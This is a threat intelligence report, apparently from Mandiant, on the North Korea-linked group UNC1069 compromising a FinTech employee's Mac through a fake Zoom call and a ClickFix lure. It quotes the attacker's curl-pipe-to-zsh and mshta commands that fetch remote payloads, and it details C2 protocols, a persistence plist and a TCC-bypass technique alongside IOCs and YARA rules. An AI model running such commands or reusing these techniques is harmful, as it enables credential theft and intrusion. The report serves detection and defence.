North Korean threat actors continue to evolve their tradecraft to target the cryptocurrency and decentralized finance (DeFi) verticals. Mandiant recently investigated an intrusion targeting a FinTech entity within this sector, attributed to UNC1069, a financially motivated threat actor active since at least 2018. This investigation revealed a tailored intrusion resulting in the deployment of seven unique malware families, including a new set of tooling designed to capture host and victim data: SILENCELIFT, DEEPBREATH and CHROMEPUSH. The intrusion relied on a social engineering scheme involving a compromised Telegram account, a fake Zoom meeting, a ClickFix infection vector, and reported usage of AI-generated video to deceive the victim.

These tactics build upon a shift first documented in the November 2025 publication GTIG AI Threat Tracker: Advances in Threat Actor Usage of AI Tools where Google Threat Intelligence Group (GTIG) identified UNC1069's transition from using AI for simple productivity gains to deploying novel AI-enabled lures in active operations. The volume of tooling deployed on a single host indicates a highly determined effort to harvest credentials, browser data, and session tokens to facilitate financial theft. While UNC1069 typically targets cryptocurrency startups, software developers, and venture capital firms, the deployment of multiple new malware families alongside the known downloader SUGARLOADER marks a significant expansion in their capabilities.

Initial Vector and Social Engineering 

The victim was contacted via Telegram through the account of an executive of a cryptocurrency company that had been compromised by UNC1069. Mandiant identified claims from the true owner of the account, posted from another social media profile, where they had posted a warning to their contacts that their Telegram account had been hijacked; however, Mandiant was not able to verify or establish contact with this executive. UNC1069 engaged the victim and, after building a rapport, sent a Calendly link to schedule a 30-minute meeting. The meeting link itself directed to a spoofed Zoom meeting that was hosted on the threat actor's infrastructure, zoom[.]uswe05[.]us

The victim reported that during the call, they were presented with a video of a CEO from another cryptocurrency company that appeared to be a deepfake. While Mandiant was unable to recover forensic evidence to independently verify the use of AI models in this specific instance, the reported ruse is similar to a previously publicly reported incident with similar characteristics, where deepfakes were also allegedly used.

Once in the "meeting," the fake video call facilitated a ruse that gave the impression to the end user that they were experiencing audio issues. This was employed by the threat actor to conduct a ClickFix attack: an attack technique where the threat actor directs the user to run troubleshooting commands on their system to address a purported technical issue. The recovered web page provided two sets of commands to be run for "troubleshooting": one for macOS systems, and one for Windows systems. Embedded within the string of commands was a single command that initiated the infection chain. 

Mandiant has observed UNC1069 employing these techniques to target both corporate entities and individuals within the cryptocurrency industry, including software firms and their developers, as well as venture capital firms and their employees or executives. This includes the use of fake Zoom meetings and a known use of AI tools by the threat actor for editing images or videos during the social engineering stage. 

UNC1069 is known to use tools like Gemini to develop tooling, conduct operational research, and assist during the reconnaissance stages, as reported by GTIG. Additionally, Kaspersky recently claimed Bluenoroff, a threat actor that overlaps with UNC1069, is also using GTP-4o models to modify images indicating adoption of GenAI tools and integration of AI into the adversary lifecycle.

Infection Chain 

In the incident response engagement performed by Mandiant, the victim executed the "troubleshooting" commands provided in Figure 1, which led to the initial infection of the macOS device.

system_profiler SPAudioData
softwareupdate --evaluate-products --products audio --agree-to-license
curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh
system_profiler SPSoundCardData
softwareupdate --evaluate-products --products soundcard
system_profiler SPSpeechData
softwareupdate --evaluate-products --products speech --agree-to-license

Figure 1: Attacker commands shared during the social engineering stage

A set of "troubleshooting" commands that targeted Windows operating systems was also recovered from the fake Zoom call webpage:

setx audio_volume 100
pnputil /enum-devices /connected /class "Audio"
mshta hxxp://mylingocoin[.]com/audio/fix/6454694440
wmic sounddev get Caption, ProductName, DeviceID, Status
msdt -id AudioPlaybackDiagnostic
exit

Figure 2: Attacker commands shared when Windows is detected

Evidence of AppleScript execution was recorded immediately following the start of the infection chain; however, contents of the AppleScript payload could not be recovered from the resident forensic artifacts on the system. Following the AppleScript execution a malicious Mach-O binary was deployed to the system. 

The first malicious executable file deployed to the system was a packed backdoor tracked by Mandiant as WAVESHAPER. WAVESHAPER served as a conduit to deploy a downloader tracked by Mandiant as HYPERCALL as well as subsequent additional tooling to considerably expand the adversary's foothold on the system. 

Mandiant observed three uses of the HYPERCALL downloader during the intrusion: 

  1. Execute a follow-on backdoor component, tracked by Mandiant as HIDDENCALL, which provided hands-on keyboard access to the compromised system

  2. Deploy another downloader, tracked by Mandiant as SUGARLOADER

  3. Facilitate the execution of a toehold backdoor, tracked by Mandiant as SILENCELIFT, which beacons system information to a command-and-control (C2 or C&C) server

Attack chain

Figure 3: Attack chain

XProtect 

XProtect is the built-in anti-virus technology included in macOS. Originally relying on signature-based detection only, the XProtect Behavioral Service (XBS) was introduced to implement behavioral-based detection. If a program violates one of the behavioral-based rules, which are defined by Apple, information about the offending program is recorded in the XProtect Database (XPdb), an SQLite 3 database located at /var/protected/xprotect/XPdb.

Unlike signature-based detections, behavioral-based detections do not result in XProtect blocking execution or quarantining of the offending program. 

Mandiant recovered the file paths and SHA256 hashes of programs that had violated one or more of the XBS rules from the XPdb. This included information on malicious programs that had been deleted and could not be recovered. As the XPdb also includes a timestamp of the detection, Mandiant could determine the sequence of events associated with malware execution, from the initial infection chain to the next-stage malware deployments, despite no endpoint detection and response (EDR) product being present on the compromised system. 

Data Harvesting and Persistence

Mandiant identified two disparate data miners that were deployed by the threat actor during their access period: DEEPBREATH and CHROMEPUSH. 

DEEPBREATH, a data miner written in Swift, was deployed via HIDDENCALL—the follow-on backdoor component to HYPERCALL. DEEPBREATH manipulates the Transparency, Consent, and Control (TCC) database to gain broad file system access, enabling it to steal:

  1. Credentials from the user's Keychain

  2. Browser data from Chrome, Brave, and Edge

  3. User data from two different versions of Telegram

  4. User data from Apple Notes

DEEPBREATH stages the targeted data in a temporary folder location and compresses the data into a ZIP archive, which was exfiltrated to a remote server via the curl command-line utility. 

Mandiant also identified HYPERCALL deployed an additional malware loader, tracked as part of the code family SUGARLOADER. A persistence mechanism was installed in the form of a launch daemon for SUGARLOADER, which configured the system to execute the malware during the macOS startup process. The launch daemon was configured through a property list (Plist) file, /Library/LaunchDaemons/com.apple.system.updater.plist. The contents of the launch daemon Plist file are provided in Figure 4.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.apple.system.updater</string>
	<key>ProgramArguments</key>
	<array>
	<string>/Library/OSRecovery/SystemUpdater</string>
	</array>
	<key>RunAtLoad</key>
 	<true/>
	<key>KeepAlive</key>
	<false/>
	<key>ExitTimeOut</key>
	<integer>10</integer>
</dict>
</plist>

Figure 4: Launch daemon Plist configured to execute SUGARLOADER

The SUGARLOADER sample recovered during the investigation did not have any internal functionality for establishing persistence; therefore, Mandiant assesses the launch daemon was created manually via access granted by one of the other malicious programs.

Mandiant observed SUGARLOADER was solely used to deploy CHROMEPUSH, a data miner written in C++. CHROMEPUSH deployed a browser extension to Google Chrome and Brave browsers that masqueraded as an extension purposed for editing Google Docs offline. CHROMEPUSH additionally possessed the capability to record keystrokes, observe username and password inputs, and extract browser cookies, completing the data harvesting on the host.

In the Spotlight: UNC1069

UNC1069 is a financially motivated threat actor that is suspected with high confidence to have a North Korea nexus and that has been tracked by Mandiant since 2018. Mandiant has observed this threat actor evolve its tactics, techniques, and procedures (TTPs), tooling, and targeting. Since at least 2023, the group has shifted from spear-phishing techniques and traditional finance (TradFi) targeting towards the Web3 industry, such as centralized exchanges (CEX), software developers at financial institutions, high-technology companies, and individuals at venture capital funds. Notably, while UNC1069 has had a smaller impact on cryptocurrency heists compared to other groups like UNC4899 in 2025, it remains an active threat targeting centralized exchanges and both entities and individuals for financial gain.

UNC1069 victimology map

Figure 5: UNC1069 victimology map

Mandiant has observed this group active in 2025 targeting the financial services and the cryptocurrency industry in payments, brokerage, staking, and wallet infrastructure verticals. 

While UNC1069 operators have targeted both individuals in the Web3 space and corporate networks in these verticals, UNC1069 and other suspected Democratic People's Republic of Korea (DPRK)-nexus groups have demonstrated the capability to move from personal to corporate devices using different techniques in the past. However, for this particular incident, Mandiant noted an unusually large amount of tooling dropped onto a single host targeting a single individual. This evidence confirms this incident was a targeted attack to harvest as much data as possible for a dual purpose; enabling cryptocurrency theft and fueling future social engineering campaigns by leveraging victim’s identity and data.

Subsequently, Mandiant identified seven distinct malware families during the forensic analysis of the compromised system, with SUGARLOADER being the only malware family already tracked by Mandiant prior to the investigation.

Technical Appendix

WAVESHAPER

WAVESHAPER is a backdoor written in C++ and packed by an unknown packer that targets macOS. The backdoor supports downloading and executing arbitrary payloads retrieved from its command-and-control (C2 or C&C) server, which is provided via the command-line parameters. To communicate with the adversary infrastructure, WAVESHAPER leverages the curl library for either HTTP or HTTPS, depending on the command-line argument provided.

WAVESHAPER also runs as a daemon by forking itself into a child process that runs in the background detached from the parent session and collects the following system information, which is sent to the C&C server in a HTTP POST request:

  • Random victim UID (16 alphanumeric chars)

  • Victim username

  • Victim machine name

  • System time zone

  • System boot time using sysctlbyname("kern.boottime")

  • Recently installed software

  • Hardware model

  • CPU information

  • OS version

  • List of the running processes

Payloads downloaded from the C&C server are saved to a file system location matching the following regular expression pattern: /tmp/\.[A-Za-z0-9]{6}.

HYPERCALL

HYPERCALL is a Go-based downloader designed for macOS that retrieves malicious dynamic libraries from a designated C&C server. The C&C address is extracted from an RC4-encrypted configuration file that must be present on the disk alongside the binary. Once downloaded, the library is reflectively loaded for in-memory execution.

Mandiant observed recognizable influences from SUGARLOADER in HYPERCALL, despite the new downloader being written in a different language (Golang instead of C++) and having a different development process. These similarities include the use of an external configuration file for the C&C infrastructure, the use of the RC4 algorithm for configuration file decryption, and the capability for reflective library injection.

Notably, some elements in HYPERCALL appear to be incomplete. For instance, the presence of configuration parameters that are of no use reveals a lack of technical proficiency by some of UNC1069's malware developers compared to other North Korea-nexus threat actors.

HYPERCALL accepts a single command-line argument to which it expects a C&C host to connect. This command is then saved to the configuration file located at /Library/SystemSettings/.CacheLogs.db. HYPERCALL also leverages a hard-coded 16-byte RC4 key to decrypt the data stored within the configuration file, a pattern observed within other UNC1069 malware families. 

The HYPERCALL configuration instructed the downloader to communicate with the following C&C servers on TCP port 443:

  • wss://supportzm[.]com
  • wss://zmsupport[.]com

Once connected, the HYPERCALL registers with the C&C using the following message expecting a response message of 1:

{
    "type": "loader",
    "client_id": <client_id>
}

Figure 6: Registration message sent to the C&C server

Once the HYPERCALL has registered with the C&C server, it sends a dynamic library download request:

{
    "type": "get_binary",
    "system": "darwin"
}

Figure 7: Dynamic library download request message sent to the C&C server

The C&C server responds to the request with information on the dynamic library to download, followed by the dynamic library content:

{
    "type": <unknown>,
    "total_size": <total_size>
}

Figure 8: Dynamic library download response message received by the C&C server

The C&C server informs the HYPERCALL client all of the dynamic library content has been sent via the following message:

{
    "type": "end_chunks"
}

Figure 9: Message sent by the C&C server to mark the end of the dynamic library content

After receiving the dynamic library, HYPERCALL sends a final acknowledgement message:

{
    "type": "down_ok"
}

Figure 10: Final acknowledgement message sent by HYPERCALL to the C&C server

HYPERCALL then waits for three seconds before executing the downloaded dynamic library in-memory using reflective loading.

HIDDENCALL

We assess with high confidence that UNC1069 utilizes the HYPERCALL downloader and HIDDENCALL backdoor as components of a single, synchronized attack lifecycle. 

This assessment is supported by forensic observations of HYPERCALL downloading and reflectively injecting HIDDENCALL into system memory. Furthermore, technical examination revealed significant code overlaps between the HYPERCALL Golang binary and HIDDENCALL's Ahead-of-Time (AOT) translation files. Both families utilize identical libraries and follow a distinct "t_" naming convention for functions (such as t_loader and t_), strongly suggesting a unified development environment and shared tradecraft. The use of this custom, integrated tooling suite highlights UNC1069's technical proficiency in developing specialized capabilities to bypass security measures and secure long-term persistence in target networks.

Rosetta Cache Analysis

Mandiant has previously documented how files from the Rosetta cache can be used to prove program execution, as well as how malware identification can be possible through analysis of the symbols present in the AOT translation files.

HYPERCALL leveraged the NSCreateObjectFileImageFromMemory API call to reflectively load a follow-on backdoor component from memory. When NSCreateObjectFileImageFromMemory is called, the executable file that is to be loaded from memory is temporarily written to disk under the /tmp/ folder, with the filename matching the regular expression pattern NSCreateObjectFileImageFromMemory-[A-Za-z0-9]{8}

This intrinsic behaviour, combined with the HIDDENCALL payload being compiled for x86_64 architecture, resulted in the creation of a Rosetta cache AOT file for the reflectively loaded Mach-O executable. Through analysis of the Rosetta cache file, Mandiant was able to assess with high confidence that the reflectively loaded Mach-O executable was the follow-on backdoor component, also written in Golang, that Mandiant tracks as HIDDENCALL. 

Listed in Figure 11 through Figure 14 are the symbols and project file paths identified from the AOT file associated with HIDDENCALL execution, as well as the HYPERCALL sample analysed by Mandiant, which were used to assess the functionality of HIDDENCALL.

_t/common.rc4_encode
_t/common.resolve_server
_t/common.load_config
_t/common.save_config
_t/common.generate_uid
_t/common.send_data
_t/common.send_error_message
_t/common.get_local_ip
_t/common.get_info
_t/common.rsp_get_info
_t/common.override_env
_t/common.exec_command_with_timeout
_t/common.exec_command_with_timeout.func1
_t/common.rsp_exec_cmd
_t/common.send_file
_t/common.send_file.deferwrap1
_t/common.add_file_to_zip
_t/common.add_file_to_zip.deferwrap1
_t/common.zip_file
_t/common.zip_file.func1
_t/common.zip_file.deferwrap2
_t/common.zip_file.deferwrap1
_t/common.rsp_zdn
_t/common.rsp_dn
_t/common.receive_file
_t/common.receive_file.deferwrap1
_t/common.unzipFile
_t/common.unzipFile.deferwrap1
_t/common.rsp_up
_t/common.rsp_inject_explorer
_t/common.rsp_inject
_t/common.wipe_file
_t/common.rsp_wipe_file
_t/common.send_cmd_result
_t/common.rsp_new_shell
_t/common.rsp_exit_shell
_t/common.rsp_enter_shell
_t/common.rsp_leave_shell
_t/common.rsp_run
_t/common.rsp_runx
_t/common.rsp_test_conn
_t/common.rsp_check_event
_t/common.rsp_sleep
_t/common.rsp_pv
_t/common.rsp_pcmd
_t/common.rsp_pkill
_t/common.rsp_dir
_t/common.rsp_state
_t/common.rsp_get_cfg
_t/common.rsp_set_cfg
_t/common.rsp_chdir
_t/common.get_file_property
_t/common.get_file_property.func1
_t/common.rsp_file_property
_t/common.do_work
_t/common.do_work.deferwrap1
_t/common.Start
_t/common.init_env
_t/common.get_config_path
_t/common.get_startup_path
_t/common.get_launch_plist_path
_t/common.get_os_info
_t/common.get_process_uid
_t/common.get_file_info
_t/common.get_dir_entries
_t/common.is_locked
_t/common.check_event
_t/common.change_dir
_t/common.run_command_line
_t/common.run_command_line.func1
_t/common.copy_file
_t/common.copy_file.deferwrap2
_t/common.copy_file.deferwrap1
_t/common.setup_startup
_t/common.file_exist
_t/common.session_work
_t/common.exit_shell
_t/common.restart_shell
_t/common.start_shell_reader
_t/common.watch_shell_output_loop
_t/common.watch_shell_output_loop.func1
_t/common.watch_shell_output_loop.func1.deferwrap1
_t/common.exec_with_shell
_t/common.start_shell_reader.func1
_t/common.do_work.jump513
_t/common.g_shoud_fork
_t/common.CONFIG_CRYPT_KEY
_t/common.g_conn
_t/common.g_shell_cmd
_t/common.g_shell_pty
_t/common.stop_reader_chan
_t/common.stop_watcher_chan
_t/common.g_config_file_path
_t/common.g_output_buffer
_t/common.g_cfg
_t/common.g_use_shell
_t/common.g_working
_t/common.g_out_changed
_t/common.g_reason
_t/common.g_outputMutex

Figure 11: Notable Golang symbols from the HIDDENCALL AOT file analyzed by Mandiant

t_loader/common
t_loader/inject_mac
t_loader/inject_mac._Cfunc_InjectDylibFromMemory
t_loader/inject_mac.Inject
t_loader/inject_mac.Inject.func1
t_loader/common.rc4_encode
t_loader/common.generate_uid
t_loader/common.load_config
t_loader/common.rc4_decode
t_loader/common.save_config
t_loader/common.resolve_server
t_loader/common.receive_file
t_loader/common.Start
t_loader/common.check_server_urls
t_loader/common.inject_pe
t_loader/common.init_env
t_loader/common.get_config_path

Figure 12: Notable Golang symbols from the HYPERCALL AOT file analyzed by Mandiant

/Users/mac/Documents/go_t/t/../build/mac/t.a(000000.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000004.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000005.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000006.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000007.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000008.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000009.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000010.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000011.o)

Figure 13: Project file paths from the HIDDENCALL AOT file analyzed by Mandiant

/Users/mac/Documents/go_t/t_loader/inject_mac/inject.go
/Users/mac/Documents/go_t/t_loader/common/common.go
/Users/mac/Documents/go_t/t_loader/common/common_unix.go
/Users/mac/Documents/go_t/t_loader/exe.go

Figure 14: Project file paths from the HYPERCALL AOT file analyzed by Mandiant

DEEPBREATH

A new piece of macOS malware identified during the intrusion was DEEPBREATH, a sophisticated data miner designed to bypass a key component of macOS privacy: the Transparency, Consent, and Control (TCC) database. 

Written in Swift, DEEPBREATH's primary purpose is to gain access to files and sensitive personal information.

TCC Bypass

Instead of prompting the user for elevated permissions, DEEPBREATH directly manipulates the user's TCC database (TCC.db). It executes a series of steps to circumvent protections that prevent direct modification of the live database:

  1. Staging: It leverages the Finder application to rename the user's TCC folder and copies the TCC.db file to a temporary staging location, which allows it to modify the database unchallenged. 

  2. Permission Injection: Once staged, the malware programmatically inserts permissions, effectively granting itself broad access to critical user folders like Desktop, Documents, and Downloads.

  3. Restoration: Finally, it restores the modified database back to its original location, giving DEEPBREATH the broad file system access it needs to operate.

It should be noted that this technique is possible due to the Finder application possessing Full Disk Access (FDA) permissions, which are the permissions necessary to modify the user-specific TCC database in macOS. 

To ensure its operation remains uninterrupted, the malware uses an AppleScript to re-launch itself in the background using the -autodata argument, detaching from the initial process to continue data collection silently throughout the user's session.

With elevated access, DEEPBREATH systematically targets high-value data:

  • Credentials: Steals login credentials from the user keychain (login.keychain-db)

  • Browser Data: Copies cookies, login data, and local extension settings from major browsers including Google Chrome, Brave, and Microsoft Edge across all user profiles

  • Messaging and Notes: Exfiltrates user data from two different versions of Telegram and also targets and copies database files from Apple Notes

DEEPBREATH is a prime example of an attack vector focused on bypassing core operating system security features to conduct widespread data theft.

SUGARLOADER

SUGARLOADER is a downloader written in C++ historically associated with UNC1069 intrusions.

Based on the observations from this intrusion, SUGARLOADER was solely used to deploy CHROMEPUSH. If SUGARLOADER is run without any command arguments, the binary checks for an existing configuration file located on the victim's computer at /Library/OSRecovery/com.apple.os.config

The configuration is encrypted using RC4, with a hard-coded 32-byte key found in the binary. 

Once decrypted, the configuration data contains up to two URLs that point to the next stage. The URLs are queried to download the next stage of the infection; if the first URL responds with a suitable executable payload, then the second URL is not queried. 

The decrypted SUGARLOADER configuration for the sample analysed by Mandiant included the following C&C servers:

  • breakdream[.]com:443
  • dreamdie[.]com:443

CHROMEPUSH

During this intrusion, a second dataminer was recovered and named CHROMEPUSH. This data miner is written in C++ and installs itself as a browser extension targeting Chromium-based browsers, such as Google Chrome and Brave, to collect keystrokes, username and password inputs, and browser cookies, which it uploads to a web server.

CHROMEPUSH establishes persistence by installing itself as a native messaging host for Chromium-based browsers. For Google Chrome, CHROMEPUSH copies itself to %HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs and creates a corresponding manifest file, com.google.docs.offline.json, in the same directory.

{
  "name": "com.google.docs.offline",
  "description": "Native messaging for Google Docs Offline extension",
  "path": "%HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs",
  "type": "stdio",
  "allowed_origins": [ "chrome-extension://hennhnddfkgohngcngmflkmejacokfik/" ]
}

Figure 15: Manifest file for Google Chrome native messaging host established by the data miner

By installing itself as a native messaging host, CHROMEPUSH will be automatically executed when the corresponding browser is executed. 

Once executed via the native messaging host mechanism, the data miner creates a base data directory at %HOME%/Library/Application Support/com.apple.os.receipts and performs browser identification. A subdirectory within the base data directory is created with the corresponding identifier, which is based on the detected browser:

  • Google Chrome leads to the subdirectory being named "c".

  • Brave Browser leads to the subdirectory being named "b".

  • Arc leads to the subdirectory being named "a".

  • Microsoft Edge leads to the subdirectory being named "e".

  • If none of these match, the subdirectory name is set to "u".

CHROMEPUSH reads configuration data from the file location %HOME%/Library/Application Support/com.apple.os.receipts/setting.db. The configuration settings are parsed in JavaScript Objection Notation (JSON) format. The names of the used JSON variables indicate their potential usage:

  • cap_on: Assumed to control whether screen captures should be taken

  • cap_time: Assumed to control the interval of screen captures

  • coo_on: Assumed to control whether cookies should be accessed

  • coo_time: Assumed to control the interval of accessing the cookie data

  • key_on: Assumed to control whether keypresses should be logged

  • C&C URL

CHROMEPUSH stages collected data in temporary files within the %HOME%/Library/Application Support/com.apple.os.receipts/<browser_id>/ directory.

These files are then renamed using the following formats:

  • Screenshots: CAYYMMDDhhmmss.dat

  • Keylogging: KLYYMMDDhhmmss.dat

  • Cookies: CK_<browser_identifier><unknown_id>.dat

CHROMEPUSH stages and sends the collected data in HTTP POST requests to its C&C server. In the sample analysed by Mandiant, the C&C server was identified as hxxp://cmailer[.]pro:80/upload

SILENCELIFT

SILENCELIFT is a minimalistic backdoor written in C/C++ that beacons host information to a hard-coded C&C server. The C&C server identified in this sample was identified as support-zoom[.]us.

SILENCELIFT retrieves a unique ID from the hard-coded file path /Library/Caches/.Logs.db. Notably, this is the exact same path used by the CHROMEPUSH. The backdoor also gets the lock screen status, which is sent to the C&C server with the unique ID. 

If executed with root privileges, SILENCELIFT can actively interrupt Telegram communications while beaconing to its C&C server.

Indicators of Compromise

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Network-Based Indicators

Indicator

Description

mylingocoin.com

Hosted the payload that was retrieved and executed to commence the initial infection

zoom.uswe05.us

Hosted the fake Zoom meeting

breakdream.com

SUGARLOADER C&C 

dreamdie.com

SUGARLOADER C&C 

support-zoom.us

SILENCELIFT C&C

supportzm.com

HYPERCALL C&C

zmsupport.com

HYPERCALL C&C

cmailer.pro

CHROMEPUSH upload server 

Host-Based Indicators

Description

SHA-256 Hash

File Name

DEEPBREATH

b452C2da7c012eda25a1403b3313444b5eb7C2c3e25eee489f1bd256f8434735

/Library/Caches/System Settings

SUGARLOADER

1a30d6cdb0b98feed62563be8050db55ae0156ed437701d36a7b46aabf086ede

/Library/OSRecovery/SystemUpdater

WAVESHAPER

b525837273dde06b86b5f93f9aeC2C29665324105b0b66f6df81884754f8080d

/Library/Caches/com.apple.mond

HYPERCALL

c8f7608d4e19f6cb03680941bbd09fe969668bcb09c7ca985048a22e014dffcd

/Library/SystemSettings/com.apple.system.settings

CHROMEPUSH

603848f37ab932dccef98ee27e3c5af9221d3b6ccfe457ccf93cb572495ac325

/Users/<user>/Library/Application Support/Google/Chrome/NativeMessagingHosts/Brave Browser Docs

/Users/<user>/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs

/Library/Caches/chromeext

SILENCELIFT

c3e5d878a30a6c46e22d1dd2089b32086c91f13f8b9c413aa84e1dbaa03b9375

/Library/Fonts/com.apple.logd

HYPERCALL configuration (executes itself with sudo)

03f00a143b8929585c122d490b6a3895d639c17d92C2223917e3a9ca1b8d30f9

/Library/SystemSettings/.CacheLogs.db

YARA Rules

rule G_Backdoor_WAVESHAPER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-03"
		date_modified = "2025-11-03"
		md5 = "c91725905b273e81e9cc6983a11c8d60"
		rev = 1
	strings:
		$str1 = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
		$str2 = "/tmp/.%s"
		$str3 = "grep \"Install Succeeded\" /var/log/install.log | awk '{print $1, $2}'"
		$str4 = "sysctl -n hw.model"
		$str5 = "sysctl -n machdep.cpu.brand_string"
		$str6 = "sw_vers --ProductVersion"
	condition:
		all of them
}
rule G_Backdoor_WAVESHAPER_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-03"
		date_modified = "2025-11-03"
		md5 = "eb7635f4836c9e0aa4c315b18b051cb5"
		rev = 1
	strings:
		$str1 = "__Z10RunCommand"
		$str2 = "__Z11GenerateUID"
		$str3 = "__Z11GetResponse"
		$str4 = "__Z13WriteCallback"
		$str5 = "__Z14ProcessRequest"
		$str6 = "__Z14SaveAndExecute"
		$str7 = "__Z16MakeStatusString"
		$str8 = "__Z24GetCurrentExecutablePath"
		$str9 = "__Z7Execute"
	condition:
		all of them
}
rule G_Downloader_HYPERCALL_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-10-24"
		date_modified = "2025-10-24"
		rev = 1
	strings:
		$go_build = "Go build ID:"
		$go_inf = "Go buildinf:"
		$lib1 = "/inject_mac/inject.go"
		$lib2 = "github.com/gorilla/websocket"
		$func1 = "t_loader/inject_mac.Inject"
		$func2 = "t_loader/common.rc4_decode"
		$c1 = { 48 BF 00 AC 23 FC 06 00 00 00 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 32 48 8B 52 ?? 48 8B 76 ?? 48 89 CF 48 89 D9 48 89 C3 48 89 D0 FF D6 }
		$c2 = { 48 89 D6 48 F7 EA 48 01 DA 48 01 CA 48 C1 FA 1A 48 C1 FE 3F 48 29 F2 48 69 D2 00 E1 F5 05 48 29 D3 48 8D 04 19 }
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and all of ($go*) and any of ($lib*) and any of ($func*) and all of ($c*)
}
rule G_Backdoor_SILENCELIFT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "4e4f2dfe143ba261fd8a18d1c4b58f2e"
		date_created = "2025/10/23"
		date_modified = "2025/10/28"
		rev = 2
	strings:
		$ss1 = "/usr/libexec/PlistBuddy -c \"print :IOConsoleUsers:0:CGSSessionScreenIsLocked\" /dev/stdin 2>/dev/null <<< \"$(ioreg -n Root -d1 -a)\"" ascii fullword
		$ss2 = "pkill -CONT -f" ascii fullword
		$ss3 = "pkill -STOP -f" ascii fullword
		$ss4 = "/Library/Caches/.Logs.db" ascii fullword
		$ss5 = "/Library/Caches/.evt_"
		$ss6 = "{\"bot_id\":\""
		$ss7 = "\", \"status\":"
		$ss8 = "/Library/Fonts/.analyzed" ascii fullword
	condition:
		all of them
}
rule G_APTFIN_Downloader_SUGARLOADER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "3712793d3847dd0962361aa528fa124c"
		date_created = "2025/10/15"
		date_modified = "2025/10/15"
		rev = 1
	strings:
		$ss1 = "/Library/OSRecovery/com.apple.os.config"
		$ss2 = "/Library/Group Containers/OSRecovery"
		$ss4 = "_wolfssl_make_rng"
	condition:
		all of them
}
rule G_APTFIN_Downloader_SUGARLOADER_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$m1 = "__mod_init_func\x00lko2\x00"
		$m2 = "__mod_term_func\x00lko2\x00"
		$m3 = "/usr/lib/libcurl.4.dylib"
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe) and (all of ($m1, $m2, $m3))
}
rule G_Datamine_DEEPBREATH_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$sa1 = "-fakedel"
		$sa2 = "-autodat"
		$sa3 = "-datadel"
		$sa4 = "-extdata"
		$sa5 = "TccClickJack"
		$sb1 = "com.apple.TCC\" as alias"
		$sb2 = "/TCC.db\" as alias"
		$sc1 = "/group.com.apple.notes\") as alias"
		$sc2 = ".keepcoder.Telegram\")"
		$sc3 = "Support/Google/Chrome/\")"
		$sc4 = "Support/BraveSoftware/Brave-Browser/\")"
		$sc5 = "Support/Microsoft Edge/\")"
		$sc6 = "& \"/Local Extension Settings\""
		$sc7 = "& \"/Cookies\""
		$sc8 = "& \"/Login Data\""
		$sd1 = "\"cp -rf \" & quoted form of "
	condition:
		(uint32(0) == 0xfeedfacf) and 2 of ($sa*) and 2 of ($sb*) and 3 of ($sc*) and 1 of ($sd*)
}
rule G_Datamine_CHROMEPUSH_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-06"
		date_modified = "2025-11-06"
		rev = 1
	strings:
		$s1 = "%s/CA%02d%02d%02d%02d%02d%02d.dat"
		$s2 = "%s/tmpCA.dat"
		$s3 = "mouseStates"
		$s4 = "touch /Library/Caches/.evt_"
		$s5 = "cp -f"
		$s6 = "rm -rf"
		$s7 = "keylogs"
		$s8 = "%s/KL%02d%02d%02d%02d%02d%02d.dat"
		$s9 = "%s/tmpKL.dat"
		$s10 = "OK: Create data.js success"
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcafebabf or uint32(0) == 0xbfbafeca) and 8 of them
}

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the “Mandiant Intel Emerging Threats” and “Mandiant Hunting Rules” rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

  • Application Support com.apple Suspicious Filewrites

  • Chrome Native Messaging Directory

  • Chrome Service Worker Directory Deletion

  • Database Staging in Library Caches

  • macOS Chrome Extension Modification

  • macOS Notes Database Harvesting

  • macOS TCC Database Manipulation

  • Suspicious Access To macOS Web Browser Credentials

  • Suspicious Audio Hardware Fingerprinting

  • Suspicious Keychain Interaction

  • Suspicious Library Font Directory File Write

  • Suspicious Multi-Stage Payload Loader

  • Suspicious Permissions on macOS System File

  • Suspicious SoftwareUpdate Masquerading

  • Suspicious TCC Database Modification

  • Suspicious Web Downloader Pipe to ZSH

  • Telegram Session Data Staging

